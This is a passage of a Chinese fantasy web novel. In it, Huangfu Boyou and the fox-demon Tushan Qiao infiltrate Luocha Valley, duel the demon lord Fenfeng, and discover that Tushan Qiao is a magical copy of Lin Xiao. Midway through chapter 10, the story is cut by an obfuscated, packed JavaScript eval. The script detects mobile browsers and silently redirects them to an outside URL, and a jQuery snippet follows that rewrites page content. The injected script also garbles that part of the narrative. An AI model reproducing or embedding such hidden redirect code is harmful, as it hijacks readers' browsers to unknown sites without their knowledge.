“什么?”皇甫伯游有些不可思议。 “这次试探出来,玄蛇大王也是焚风魔君的人。青兕大王对顾盟主最为忠心,其余人摇摆不定。” “原来你说的好戏是指这个……”皇甫伯游点点头,“所以你故意告知他章尾山秘境,难不成是想引诱焚风魔君出动?” 涂山桥莞尔一笑:“上仙果然英明,我们谎称章尾山秘境藏着玄天秘法的奥秘,实则这秘境可使人境界跌落,只要焚风魔君进入,等他出来后,就与上仙境界相当了。” 原来人间的妖魔都知道自己的境界,可能是这十年来降妖伏魔太多,通过自己的战绩,也能推测出大概。 皇甫伯游想到这里,又试探问道:“所以三个月后魔界庆功宴刺杀是假,半个月后章尾山刺杀才是真?阿桥,你果然聪明。” 涂山桥闻言得意地笑了笑,那神情竟然有些像林啸。 “可我若是不答应相助,阿桥原本的计划是什么?”皇甫伯游问道。 “上仙,涂山一族的九尾狐大妖,也相当于天境后期,有九尾狐长老相助,我们几个天境后期设下阵法,再配合秘术,未尝不能合力绞杀神魔境中期。”涂山桥解释说。 皇甫伯游闻言点点头,抛出心中困惑许久的问题质疑:“可是阿桥,你既然没见过顾惊澜,又怎知我与他生得相似?” 8. 入谷 涂山桥身形微微一滞,眼底的光亮如烛火般瞬间黯淡下去。他垂首敛眸,声线低沉而沙哑:“上仙恕罪。此事牵扯我族百年谋划的刺杀大业,恕在下实在难以吐露分毫。” 皇甫伯游望着对方刻意避开的目光,心中疑云翻涌。难道那顾惊澜当真与自己有什么关联? 正欲追问,却见涂山桥抬起头来,苍白的面容浮起一抹自嘲的笑意:“还请上仙暂且宽心,待半月后的刺杀之日,一切谜团自会水落石出。” …… 自踏入天马山那日起,皇甫伯游便与涂山桥形影不离。 一日,涂山桥与皇甫伯游一起练完剑,在碧草如茵的山坡上,涂山桥倚着青石擦拭佩剑,忽将目光投向天际:“不瞒上仙,我身负重伤醒来时,只记得近十数载光景。那时是天境中期二阶,苦修多年才堪堪突破至后期。” 话音未落,皇甫伯游握剑的指节骤然发白。他突然想起好友林啸,对方在百年前分别时便已是天境后期,按道理早已到了冲击太乙金仙境的关键阶段。 “我与阿啸约定,等他冲击太乙金仙境,我冲击太乙金仙后期时,要为彼此护法。”皇甫伯游凝视着流云,淡淡说道。山风掠过两人身侧,吹得涂山桥衣襟猎猎作响,对方叹息一声,终究只是沉默着将剑入鞘。 涂山桥若是失去记忆的林啸,为什么修为境界对不上? 可涂山桥若不是林啸,为何相貌和性情又有几分相似?况且魅魔的令牌又如何解释? 想到这里,皇甫伯游蓦地一顿,立即想到了一个极为关键的事情。 倘若魅魔擅长分身术,被抓到度朔山的是分身不假,可令牌上设有紫府防御禁制,是不可能被复制的。 也就是说,令牌是被魅魔刻意放置到分身上的。 那魅魔这么做得目的是什么?难不成仅仅是吸引自己过来? 皇甫伯游一边出神思索,一边随涂山桥踏入山洞。 “皇甫上仙,我刚刚收到消息,有一位贵客要来,我要回一趟罗刹谷,你要不要同去?”涂山桥出言打破了皇甫伯游的思绪。 皇甫伯游顿时回过神来,瞧着涂山桥已经坐到石桌边,用修长的手指捏着几颗桑葚,将果盘高处的果子轻巧挪下,填补凹陷处,直到整座果山重归浑圆才收手。 记忆里林啸总是囫囵往嘴里塞果子,哪会在意这般细节?他不觉轻笑出声:“你不是说罗刹谷严禁外人踏入?” “一般人不行,但涂山狐族可以。”涂山桥解释说,“我们扮做涂山狐族长老进入,没人会怀疑。” 皇甫伯游此前提出过要去罗刹谷,但罗刹谷入口极为隐匿,无人引导根本找不到。 涂山桥一直说有难度,需要筹谋安排,不知此刻为何突然答应了? 皇甫伯游既为太乙金仙境中期境界,自然不怕,于是泰然自若接过面具,“好,不过阿桥,那位贵客是谁?” “巫罗。”涂山桥一字一顿地回答。 “什么?”皇甫伯游大惊。要知道,巫罗位列上古“十巫”之一,另外九位大巫乃是“巫咸、巫即、巫朌、巫彭、巫姑、巫真、巫礼、巫抵、巫谢”,传说这十巫居于丰沮玉门山,传闻玉门山是日月降落之地。而十巫也从此升降,带来百药。 “上仙莫惊,其它大巫从未来过,况且据我推测,巫罗修为也不及上仙,不必担心。”涂山桥解释说。 可是封神之战后,巫术没落,上古大巫均已避世不出,罗刹谷又是如何与巫罗联系上的? 皇甫伯游说出心中疑虑,涂山桥耐心解释说,“衡哥哥被焚风魔君杀死后,神魂破碎,兰姐姐听闻巫族有起死回生术。” “丰沮玉门山恰好离罗刹谷不远,兰姐姐一直没有放弃救治衡哥哥,一次偶然机会。兰姐姐发现附近有座城邦盛行巫术,兰姐姐按图索骥,居然真的找到了城邦背后的大巫——巫罗。” “巫罗每次来,兰姐姐都要带他去一个山洞中的密室,那密室从不让我踏足,每次两人出来,都似乎用尽了周身法力,看起来十分疲惫。” “每每我问兰姐姐,衡哥哥复活我能不能帮上忙,兰姐姐都斥责我不要掺和进来。恰好今夜巫罗要来,他们越是躲着我,我越要弄清真相!” 涂山桥说完,眼神有些玩味地看向皇甫伯游,“本来我一人势单力孤,好在上仙愿意帮我,那咱们就去看看,如何?” 皇甫伯游也对巫罗十分好奇,只是想不明白,魅魔少兰若想救治少衡,为什么要瞒着涂山桥。涂山桥又为何费尽周折,也要看看密室里面是什么样子,难不成…… “阿桥,你怀疑这密室中隐藏的秘密,与你身世有关?”这几天相处下来,皇甫伯游也了解到,涂山桥个性与林啸不同,心思极为缜密细腻,不可能仅仅是为了满足好奇心。 “不知道为什么,我总觉得那石门后的密室中,有极为熟悉的东西,总想去看看是什么。”涂山桥回答说。 皇甫伯游心中猛地一颤,望着涂山桥,他忽然有种直觉——那座被重重禁制笼罩的密室,或许正是揭开林啸与眼前人关联的关键钥匙。 “阿桥,你说过从前孤立无援。如今有我相助,该如何行事?” 夜幕四合,西北方罗刹谷入口处,云层如浪翻涌。三道身影裹挟着狐族特有的灵压破空而来,黑衣、红衣、白衣在暮色中翻飞如旗。 落地刹那,为首的黑衣狐妖瞥见涂山桥孤身立在谷口,顿时挑眉:“阿桥,怎的今日换你守在这里?” 黑衣狐妖正是涂山三位天境后期修士之一的玄灵子。涂山桥朝对方拱手一礼,压低声音道:“兰姐姐吩咐,这次为了绕开魔界耳目,换了条隐秘路径,连谷中其他人都没告知。” 说罢,他领着三人拐进一片黑松林。四周枝叶如墨,密得透不进半分天光,脚下腐 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山径蜿蜒,枯叶在脚下发出细碎声响。涂山桥压低声音:“这三位九尾狐,可是涂山仅剩的天境后期修士。红衣的丹霞子,谷里都唤他丹一先生;你扮的黑衣玄灵子,人称玄二先生;我这身白衣,正是皓须公白三先生。” 他抬手理了理衣冠,继续叮嘱:“平日里三人以兄弟相称。进了罗刹谷,你唤我三弟,我叫你二哥,千万可别露了马脚。” 皇甫伯游点点头:“记住了。” 暮色渐浓,皇甫伯游跟着涂山桥穿过最后一片杉林,眼前忽而豁然开朗。一弯湖水横在眼前,月光洒落,湖面泛起细碎波光,透着几分说不出的静谧与幽深。 涂山桥摸出块古朴玉佩,随手往湖面一抛。玉佩悬在半空,月光落在上面,竟化作一道柔和的光瀑。光束触及湖面的刹那,涟漪翻涌如沸,水面轰然裂开,一座青石牌楼破水而出,飞檐上雕刻的缠枝葡萄藤纹路在月光下愈加明晰。 “二哥,请。”涂山桥伸手虚引,清脆的尾音在夜色里轻轻荡开。 皇甫伯游唇角微扬,衣袂翻飞间已踏入石门。 跨过石门,凉意裹挟着薄雾扑面而来。皇甫伯游只觉眼前一花,再睁眼时已身处幽深山谷。溪水在青石间蜿蜒,月光透过藤蔓,在地上洒下斑驳碎影。 沿着溪涧转过山头,一座山洞出现在眼前。两名侍从见了二人,赶忙迎上来:“玄二先生,白三先生,二位怎么自己来了?往常不都是有人送到洞口?” 涂山桥整了整白衣,无奈笑道:“还不是阿桥那混小子?为进不得密室的事儿闹脾气呢。给我们开了山门就走,话都没多说一句。”说着摇头叹气,袖子里的手却悄悄攥紧了。 “那真是巧了,丹一先生今天也是独自来的。”侍从说道。 “什么?!”涂山桥和皇甫伯游闻言,都忍不住惊呼出声。 9. 魔君 要知道,真正的丹霞子已经被收在了青玉葫芦里。这凭空冒出的丹一先生,究竟是谁? 其实,有人冒充丹霞子并不可怕。可怕的是,对方精准地选择两人没扮做的那个丹霞子。 这就意味着,对方可能知道两人是冒充的,还知道两人不敢戳穿他的真实面目。 况且,在得知涂山桥和皇甫伯游假扮玄、白二人后,还能早一步抵达罗刹谷山洞,足见对方不仅法力可能在二人之上,也同样十分了解罗刹谷地形。 涂山桥和皇甫伯游对视了一下眼神,都在对方眼里看到了骇然之色。 “丹一先生说与两位先生下棋闹了些龃龉,所以才负气先走一步,丹一先生方才还在洞中让少兰长老给评理呢。”侍从笑着说道。 “大哥还是老顽童脾气。”涂山桥捋了捋胡须笑道。 “阿桥,这个丹霞子,你觉得会是谁?”皇甫伯游传音与涂山桥问道。 “能在上仙眼皮子底下,神不知鬼不觉抢先一步来到罗刹谷,对方当然有不输于金仙境中期的实力,总不该……该不会是焚风魔君罢。”涂山桥传音说道。 “焚风魔君以前来过罗刹谷?”皇甫伯游问。 “几十年前,魔军抓走众多魅妖族人,衡哥哥乔装打扮,化作驭兽师去魔界献上天马幼崽,焚风魔君很是喜欢,将衡哥哥做养马人留在魔界。” “衡哥哥卧底在焚风魔君身边,一直伺机报仇,可平日里,焚风魔君不是修炼,就是与其它魔君打斗,压根没什么机会见到焚风魔君。直到有一次,焚风魔君与天狼一战受了重伤,不得不暂时偃旗息鼓,安心养伤。” “焚风那次斗法受了重伤,天狼更是陷入昏迷。看起来焚风魔君受伤较轻,实则不然,传言焚风魔君那段时间不能轻易动用法力。” “因此,焚风魔君便时常在校场习武、骑坐骑消遣。出人意料的是,焚风魔君骑术很差,总是被坐骑摔下去。因此,焚风魔君大怒,以为是坐骑野性难驯,一口气杀了几十只珍奇异兽。” “直到骑上衡哥哥献的天马,才稳稳骑了片刻。焚风魔君由此大悦,问衡哥哥驯马之术,衡哥哥说是焚风魔君神威赫赫,寻常坐骑都会感到害怕,所以才战栗不已,无法负载焚风魔君的。” “这虽然是衡哥哥的恭维之言,但实际情况也大差不差。焚风魔君杀孽过重,这些灵兽都能感知到焚风魔君的杀气,故而恐惧颤抖。衡哥哥早知如此,在焚风魔君骑乘天马前,提前用魅术控制天马心神,使其感受不到恐惧。” “如此时日一长,焚风魔君与衡哥哥熟识起来。焚风魔君虽然为人心狠手辣、刚愎自用,但却同衡哥哥以朋友相交。有一次,两人饮酒谈心之时,衡哥哥偷偷把魅丹下到酒中。” “没想到焚风魔君很快发觉了,然后很生气质问为什么衡哥哥也会背叛他。然后便杀死了衡哥哥。” “焚风魔君因此事大怒,竟然来到罗刹谷,掳走了上百名魅妖族人,也不知是不是被炼作了炉鼎……” 涂山桥讲完这些,两人也穿过了重重山路,步入洞内。 “看来焚风魔君曾遭背叛,故而喜怒无常。不过阿桥,你是如何知晓这些细节的?”皇甫伯游传音问道。 “兰姐姐直到衡哥哥死,才知道他乔装打扮混入魔界,兰姐姐去认领衡哥哥尸首时,发觉衡哥哥神魂尚未全部散去,通过问魂之术,得知的来龙去脉。” “原来如此,魅妖族少衡当真是位义士。”皇甫伯游慨叹。 “是啊,焚风魔君在与天狼一战后,本就内丹有所损伤,在内丹尚未修复完好之前,又被衡哥哥种下魅丹。因此,只要他能对一位魅妖族人动心,我们就有把握让他魔功错乱崩溃!” 此时,皇甫伯游抛出疑惑已久的问题:“那魅妖族其他人不行吗?这任务为何落在你一个男子身上?” “上仙觉得奇怪,我也有同感。只是衡哥哥是男子,所以魅惑焚风魔君之人必须也是男子。没办法,整个罗刹谷修为最高的年轻男子就是我了。” “原来如此。” 两人正说着,不知不觉已然步入石洞内的会客厅,于是俱都敛起心神,观察周围情形。 只见魅魔少兰正与身着檀红色衣服的老者说笑,看起来恰好是丹霞子模样。 “二弟,三弟,你们也来了?”檀衣人笑着问候。 “大哥既然来了,小弟也不能太过落后。”涂山桥笑答,说着也坐在一旁的桌案边。 皇甫伯游不了解玄灵子脾气秉性,并未言笑,只是与涂山桥一同落座。 “既然人都到齐了,那就直接开始罢。”少兰说着挥了挥手,洞内侍从侍女见状,立即退下。 “不等巫罗大人么?”涂山桥问道。 “白三先生,您忘了么,巫罗大人喜欢安静,早就去密室了。”少兰说道。 “巫罗行事还是这般古怪。”涂山桥冷哼一声,表现得十分不屑。 “白三先生莫恼,毕竟,我们所谋之事,还要仰仗巫罗大人的秘术。”少兰笑意盈盈劝解说道。 “哈哈哈,你们二人还真有兴致。”在一旁悠悠然吃着葡萄的丹霞子突然说道,“若无其他要事,我们就进去罢。” “慢着!”在一旁沉默许久的皇甫伯游,突然出言阻止。“我们还不能进去!” “为何?”涂山桥诧异问道。 “玄二先生这是开什么玩笑?”少兰脸上的笑容也瞬间凝固,不知道玄灵子为何突然阻止大家。 “焚风魔君,你潜入罗刹谷,意欲何为?”皇甫伯游拔出青阳剑,直指丹霞子。 皇甫伯游左思右想,此人若真是焚风魔君,无论其抱有什么目的来到罗刹谷,密室中定有他迫切需要的东西。 不管是什么,焚风魔君得到那东西后,恐怕事态更加难以控制,倒不如率先下手。 “哦?”对方眉毛一挑,周身魔气缠绕,一位身着黑衣、身形高大的修士出现在众人面前。 出乎皇甫伯游和涂山桥意料的是,焚风魔君长得并不似传闻中那般凶神恶煞模样,反而英姿勃发、俊美逼人。 “本座已经坦诚相见了,两位还要回避到几 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“哦?何人应当告知我此事?莫非我手下还有阳奉阴违之人?”焚风魔君阴鸷说道。 难不成西门春只是表面投靠焚风魔君,实则背后另有其人? 皇甫伯游看了眼涂山桥,涂山桥也面露疑惑。 “顾惊澜是焚天盟盟主,不过行踪诡秘,认识他的人很少,本座也未曾见过。”焚风魔君解释说:“一个金仙境中期,两个天境后期,你们三人联合起来也不是我的对手,我劝你们乖乖将密室门打开罢。” “你休想!”少兰勃然大怒,毕竟焚风魔君曾虐杀无数魅妖族人。 皇甫伯游率先抽出青阳剑:“贫道许久未遇对手,眼下碰上魔君,正好讨教一番。” 焚风魔君亦拔出长剑,与皇甫伯游对打起来。 皇甫伯游腾空挥剑,剑气劈开岩壁。焚风魔君黑袍翻飞,墨色剑花与青芒相撞,气浪掀翻桌椅。 魔君化出魔气黑蟒,皇甫伯游以剑化龙相抗,震碎钟乳石。涂山桥持剑相助,却被魔君抛出一个铜印反击,这铜印是上古秘宝,涂山桥敌不过,被一击砸中,摔落到石壁上,口吐鲜血。 皇甫伯游施出“万剑归墟”,剑影如潮封死退路。魔君双掌推出,魔气凝成巨盾硬接,轰鸣震得地动山摇。 少兰银丝缠住魔君脚踝,却见他魔气暴涨,将少兰震退直直摔落。 皇甫伯游再次持青阳剑与魔君黑刃交击,火星迸溅,两人皆被剑气划伤衣袖。 烟尘散去,两人周身浴血对峙。魔君抹去嘴角血迹,森然笑道:“倒是小瞧了你,不过此时这两位魅妖都受了伤,怕是撑不住多久了,失了他二人助力,你恐怕不是本座的对手。” 皇甫伯游笑道:“焚风魔君,如今我三人对你一个,勉强能战得平手,若是再加上三位涂山九尾狐呢?” 焚风魔君面上大惊,他自然知晓皇甫伯游在黑松林收了三位天境后期的狐妖。 若是将三位狐妖放出来,焚风恐怕确实敌不过。 10. 影身 焚风魔君周身腾起森冷黑雾,身形诡谲,眨眼间便欺至受伤的涂山桥身侧。他袖中黑气如活物般,化作锁链缠上涂山桥的四肢,三簇尖锐黑晶悬浮半空,正对其神庭、膻中、关元三处命门要害。 “上仙近年来降妖伏魔无数,却甘心与这魅妖合作,我猜,上仙不想他死罢。” “你放开他!”皇甫伯游大喊。 涂山桥被勒得生疼,依旧冷笑一声:“想不到威名赫赫的焚风魔君,竟然也会拿人命相要挟,我先前常与人说魔君是举世无双的英雄好汉,不料竟是看走眼了!” 焚风魔君不以为然的嗤笑:“你激我也无用!” 话虽是如此说,涂山桥明显感觉到焚风魔君语调高昂轻快了一些,显然是对于自己的夸赞非常受用,但又不愿表现出来。 “皇甫上仙,你交出青阳剑,少兰长老,你打开密室,我保证不会伤害这小妖的性命。”焚风魔君朗声说道。 皇甫伯游握剑的指节因用力而发白,余光瞥见涂山桥与少兰长老交换了个极隐晦的眼神。少兰长老垂下眼睫,再抬头时已是泪光盈盈:“我已经失去少衡,不能再失去一个弟弟了。” 听着这话,皇甫伯游却暗自松了口气。他了解少兰,这般轻易妥协,其中必有蹊跷。说不定密室里藏着什么秘宝,又或是二人早有打算,只等关键时刻绝地反击。 焚风魔君拽着涂山桥的锁链,跟在少兰身后。她不紧不慢地沿着蜿蜒的洞道前行,石壁上垂落的藤蔓时不时拂过肩头。 不知转过几个弯,前方出现一扇古朴石门,暗青的石面上蜿蜒着葡萄藤纹路。 石门前的栏杆上,蹲着两只憨态可掬的白玉小兽。少兰抬手咬破指尖,一滴鲜血落在兽首上,小兽突然活了过来,昂首发出清亮的啸声。随着这声啸叫,石门上的葡萄藤渐渐褪去,沉重的大门缓缓向两侧推开。 门内飘来淡淡药香,只见一个黑衣人立于碧玉榻旁,双手结印,周身萦绕着柔和的光晕。榻上斜倚着个身影,棕色衣袍松松垮垮地裹着。 皇甫伯游心中猛地一揪,仅仅是远远看到个轮廓,他认得出,玉榻上躺着的,正是他的好友——林啸。 只可惜玉榻之外有一层防护阵隔绝,不方便近距离确认。 皇甫伯游顿时疑惑不已,若玉榻上是林啸,那涂山桥又是谁?为何两人生得如此相像? 焚风魔君的笑声打破死寂,回音在山洞激荡,显得有几分狰狞:“原来你这小妖怪,也不过是别人的替身!”他扯着锁链晃了晃,涂山桥踉跄两步,腰间的银铃轻响,却始终垂着头,没抬眼看榻上的人。 一声轻笑悠悠传来,青衣黄裳的少女拨开垂落的藤蔓,裙摆扫过潮湿的石壁,大大方方现身:“魔君见了阴阳镜里的分身,也也会如此惊讶?” 她发间别着半朵枯萎的野花,随着步伐轻轻晃动。焚风魔君脸色骤变,倒退半步,周身黑气翻涌,死死盯着少女的眼睛:“你究竟是谁?为何身上会有烛龙的气息?” “魔君竟然识得烛九阴大人,那想必经历过神魔大战。传闻魔君早在远古神魔大战时就出世,看来是真的。”双鸾淡淡一笑,话音未落,她手腕翻转,袖中滑出一面古铜镜,镜面泛起幽蓝光晕:“不过再厉害的老怪物,今天撞上我,也算走到头了!” 皇甫伯游心头猛地一跳。上次被这面镜子的光芒扫中,他稀里糊涂就跌进秘境。此刻看着双鸾手中流转的光华,终于明白烛九阴秘境的开启,竟藏在这小小铜镜里。 强光闪过,山洞被照得亮如白昼。众人眯起眼睛,却见焚风魔君依然好端端立在原地,周身黑气连一丝波动都没有。 “怎……怎么会?”双鸾踉跄后退,铜镜险些脱手,“阴阳镜怎会对你没用?” 就在这时,一声轻笑从角落传来。 涂山桥倚着石壁缓缓站直,嘴角还挂着残血,声音轻得像飘在风里的落叶,却字字分明:“原来叱咤风云的焚风魔君,也不过是别人的影子罢了。”这话轻飘飘的,却让山洞里的空气瞬间凝固,连石壁上滴落的水珠声都清晰可闻。 双鸾指尖轻轻叩着铜镜边缘,忽然噗嗤笑出声:“难怪镜子对你不起作用——原来堂堂魔君竟是个影身!”这话像根细针,戳破了山洞里紧绷的气氛。 焚风魔君罕见地沉默了,周身黑气凝滞成漩涡,连带着空气都冷得发沉。 “成天活在别人影子里,滋味不好受吧?”涂山桥靠着石壁滑坐下来,染血的嘴角扯出一抹笑。 “没想到威震四方的焚风魔君,竟然也是别人的影子。”涂山桥嘲讽笑道,“‘烛九阴,人面蛇身而赤,直目正乘,其瞑乃晦,其视乃明。’” “烛九阴有掌控阴阳之力。双鸾姑娘手中的阴阳镜,蕴含着烛九阴眼睛的灵力。因此,无论是谁,被照射之后,都会化出一个分身,叫做影身。这影身与本尊生得极为相像,甚至某些举止习惯也像。” “好在,影身并不知道自己是别人的分身。他会被炼化他的人告知自己的身份,且深信不疑。” “阿桥——,你别说了……,是姐姐对不住你。”少兰脸上难得收起妩媚之色,显出几分惭愧。 涂山桥失声笑了笑,语气却是质问:“为什么要让我出世?” “涂山桥,你是如何得知这些情况的?”双鸾面露疑惑,忍不住问道。 “其实我很早就怀疑了。”涂山桥凄惨一笑。 “十八年前,我从罗刹谷醒来的时候,族中上下告诉我,因为我是涂山狐妖和罗刹谷魅妖结合的后代,因此身上既有狐妖气息,也有魅妖气息。我为此深信不疑,根本不会想到,这是魅丹和狐族的幻颜丹的效果。而这两者又是为了压制林啸的虎妖身份。” “直到十年前,顾惊澜盟主被双鸾姑娘造出来,我看到顾大哥,觉得十分熟悉。可是顾大哥忙于创制焚天盟,很少回罗刹谷。只是没想到,皇甫上仙身为太乙金仙,会一直在人间降妖伏魔。” “虽说见过皇甫上仙的妖魔大多被压到天上,但仍有漏网之鱼。巧在那逃走的妖怪恰好加入了焚天盟,事后顾大哥自然得知了上仙的存在。顾大哥开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514060|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷跟踪上仙,巧的是,顾大哥那时也突破到了玄妖境中期。跟踪同阶修士,自然不容易被发现。” “三年前那次,顾大哥回来,告诉我他差点被皇甫上仙发现,幸亏兰姐姐用分身引开了皇甫上仙,也是那次,兰姐姐的分身被押入度朔山。” “我当时听顾大哥提起少兰姐姐分身就很怀疑,为何少兰姐姐只是天境后期,却能自如的控制分身?又为何皇甫上仙与顾大哥容貌性情修为极其相似?” “我觉得,天下没有这么巧合的事情,一定有什么事瞒着我。于是我开始偷偷调查一些秘密。” “我本来邀请顾大哥与我一起调查真相,可惜那时顾大哥说,他觉得有必要去魔界看一看,于是就孤身前往魔界,再也没回来。” “那时,趁着当时兰姐姐境界跌落至天境中期闭关修行,我自然抓紧时间尽快调查。首先要调查的,自然是禁制重重的密室以及神出鬼没的巫罗大人和双鸾姑娘。” “不知道该是喜是忧,我修习了十几年魅术,靠着魅术,轻易得到了想要的消息,再给那两位喂下忘尘丹。一切看起来都是那么轻而易举。” “什么?!”双鸾闻言大惊:“你何时从我口中套的消息?我怎么毫无印象?” 涂山桥轻轻一笑:“双鸾姑娘虽然历经万千岁月,心智却还是小丫头,被我拿一堆从人间带来的小玩意就哄得放下戒备,我趁机施展魅术,自然十分容易。” “可是,越是轻松得到的消息,我越是不愿意相信,我宁愿这一切是假的!” “没想到,我竟然是别人的影子!因为林啸的境界处于神人境巅峰,再加上他天生灵胎,所以被兰姐姐喂下魅丹,施加催眠术后,清醒过来时,仍然记得自己是谁。” “因此,一个便于控制、身负魅丹且修为能达到天境后期的年轻男子就被炼化出来。” “而林啸本人,一直被巫罗大人吸取灵力,用于重塑少衡的肉身。” “兰姐姐闭关后,我接管了天马山洞府事务,一则答应顾大哥帮忙照看焚天盟;二则也是为了便于调查信息;三则就是……,我一回罗刹谷就……恶心” 涂山桥说到这里,情绪愈加激动,胸口起伏不定,不想竟吐出一摊鲜血! 皇甫伯游看在眼里,正要上前替涂山桥清理干净,缺不料有人抢先一步,轻轻用袖口替涂山桥擦拭嘴角血渍。 没想到,焚风魔君竟然会照顾人! 涂山桥察觉到为自己擦拭鲜血的是焚风魔君,也不禁愣住。 “魔君这是……” “无事,看到你这样,想起本座以前罢了。”焚风魔君背过身,负手而立,声音听不出一丝波澜。 “好,那我继续讲下去。”涂山桥继续说道。 “我很羡慕林啸,也很嫉妒他。为什么他能不受催眠术和魅术蛊惑?为什么他可以不用苦修魅术?要知道,一个男子苦修魅术去诱惑魔君,这个任务听起来就十足可笑和耻辱……” “魅惑魔君?”焚风魔君突然打断问:“为何要魅惑我?” 11. 秘境 “魔君不知道吗?你体内有衡哥哥种下的魅丹,魅丹钻入内丹缝隙,只要有人能引动情欲,魔功就会生出破绽。”涂山桥此时已经没必要隐瞒,坦诚解释。 “原来那小妖给本座下的竟不是毒药?”焚风魔君声音有些意外,随即冷哼一声:“早与他说过,本座不需要这些累赘,他偏要坚持让本尊体会寻常人的感情。” “原来……,原来衡哥哥给你种下魅丹,竟是这个意思……”涂山桥轻轻叹息。 “不过是多此一举罢了,弱者才需要朋友和感情。”焚风魔君语气颇为不屑。 “魔君,你若当真不在乎,又何必在衡哥哥去世后,来罗刹谷抢掠掳走上百名族人?”涂山桥质问:“恐怕魔君早已将衡哥哥视为朋友,误会他给你下的是毒药,以为自己遭到背叛,所以才会来谷中泄愤!” “本座想怎么做便怎么做,我来罗刹谷抢人,无需他人置喙!”焚风魔君狠厉说道。 “好!魔君有通天彻地之能,小妖自然不敢妄论短长。只是,听闻魔君将上百名魅妖族人抓去魔界后,并未杀死,而是留在自己魔宫饲养灵兽,这却是为何?” 涂山桥步步紧逼追问,他此时虽没必要诱惑焚风魔君,但还是意图激化对方情绪起伏。只要能调动焚风魔君的七情六欲,便能催化魅丹的作用。 “你怎会知晓此事?莫非你曾偷偷潜入魔界?”焚风魔君闻言大惊。 涂山桥唇角轻轻勾起:“顾大哥去魔界后,常与我书信往来,这才知晓一二。”眸光扫过焚风魔君愈加阴沉的脸,笑意越发随意,“只是魔君纵使驱使百余名魅妖族人为你豢养灵兽,怕也寻不出一只能驮动你这滔天魔气的坐骑。” 焚风魔君周身魔气骤然暴涨,袖中锁链发出嗡鸣:“这轮不到你操心!”说话间杀意渐浓,玄色衣袍无风自动,仿佛下一秒就要将眼前人绞碎。 锁链勒进皮肉,涂山桥踉跄着闷哼一声。他死死咬住下唇,苍白的脸上青筋暴起,最终还是忍不住呛出一口鲜血,在青石板上洇开一片刺目的红。 皇甫伯游心下一紧,疾步上前,一掌推出,荡开缠绕锁链的魔力,继而从怀中取出素白帕子,拭去涂山桥嘴角血渍。随后又握住涂山桥手腕,将灵力缓缓渡入他体内。 涂山桥望着对方专注的神情,眼底泛起疑惑:“你明知我不是林啸,为何……”话音未落便被打断。 “阿桥,”皇甫伯游抬眸与他对视,目光坚定,“相识十数日,皇甫伯游也乐意结识你这个朋友。为你疗伤本就是应当!” 涂山桥闻言,眼睛睁大,失神片刻,随即眸中现出神采,失声笑了笑:“我涂山桥,竟也有真正的朋友。” 焚风魔君黑袍猎猎作响,周身魔气翻涌如浪,双目冷冷扫过众人:“别啰嗦了!少兰长老,立刻开启烛九阴秘境!否则,在场之人都得死!” 皇甫伯游心中一动,目光不由自主转向神色凝重的少兰。原来烛九阴秘境的开启之钥竟在她手中,先前自己意外闯入秘境之事,瞬间有了答案——果然是少兰暗中布局。 此时,焚风魔君随手甩出一张黑网,雾气缭绕的丝网在空中飞速延展,眨眼间就像天幕般笼罩住众人。 “噬灵网,能吸收你们的灵力,若是一炷香内没打开烛九阴秘境,那就等着灵力耗尽吧。” 噬灵网也是焚风魔君法宝之一,被其罩住后,越是动用法力,灵力流失越快。当初与天狼一战,就是靠此牵制住众长老的。 “邢戚,非是我不愿打开烛九阴秘境,而是眼下条件不足。”少兰急忙解释。 邢戚是焚风魔君的名字,知道的人极少,但身为魔界长老之一的魅魔少兰自然知道。 “哦?”焚风魔君扬眉嗤笑:“先前打开那么多次,怎么这次就条件不足了。” 少兰陷入沉默,双鸾迈步于少兰身前,直面焚风魔君解释。 “因为烛九阴秘境打开,只有动用阴阳镜之力才可以,且每人只能被照射一次。但在场之人,除了被阴阳镜照射过的,就只剩下巫罗大人。巫罗大人本来早就应当离世,只是没找到传人,因此灵魂停留在尸身内不离开,阴阳镜不能照射亡者。” 少兰和皇甫伯游都有影身,涂山桥和焚风魔君俱是影身。因此,眼下确实没有合适人选。 “那你呢,小姑娘?”焚风魔君问。 “我不行!” “为何?” 少女轻抚怀中铜镜:“我本就是阴阳镜化形的器灵,哪有镜子能照见自己的道理?” 她说着翻转铜镜,背面两只鸾鸟栩栩如生,泛着温润的光泽,“这便是我的来历。” 焚风魔君狞笑一声,魔气凝结,直取双鸾怀中铜镜:“镜子照不了自己,换本君来照!”双鸾刚将铜镜收入怀中,整个人突然动弹不得——对方隔空施法定住了她。 少兰拖着伤体冲上前,袖中银丝缠向魔掌。但魔气汹涌如潮,三招不到便被震飞出去,重重撞在石柱上,嘴角溢出鲜血。 千钧一发之际,寒光破空。皇甫伯游御剑而来,长剑裹着凌厉剑意直劈魔君面门。剑与魔气相撞,爆起刺目电光,魔君连退半步,眸中闪过诧异。 “噬灵网下,你妄动法力,小心灵力加速流失!”焚风魔君大笑道,“我若是你,定然不趟这摊浑水。” 皇甫伯游目光紧锁焚风魔君,压低声音道:“烛九阴秘境到底藏着什么?值得你如此大费周章?” 魔君嗤笑一声,眼底满是轻蔑:“不如随本君去看一看?”话音未落,身影突然化作一道黑影,直扑巫罗所在的玉榻方向。 “阿啸!”皇甫伯游心头一紧,挥剑就要冲过去。可刚飞出几步,便见那道黑影在半空消散——竟是道幻影! 回头刹那,只见魔君不知何时已欺近双鸾身侧,修长手指稳稳扣住阴阳镜。他低头轻笑,眼底尽是得逞的锋芒。 焚风魔君转瞬掠到巫罗跟前,阴阳镜泛着冷光。巫罗双掌翻飞,正忙于施法凝结林啸灵力,根本无暇他顾。 镜面突然爆出刺目白光,众人眼前一黑,顿时栽倒在地。 等皇甫伯游再睁开眼,草木的气息直往鼻子里钻。四周古树遮天蔽日,雾气浓得化不开。少兰靠着树干喘气,涂山桥撑着膝盖起身,巫罗还在原地打坐,焚风魔君抱臂冷笑。 看四周情形,皇甫伯游立即明白过来,几人都进了烛九阴秘境。只是,明明照射的是早已身亡的巫罗大人,为何这秘境 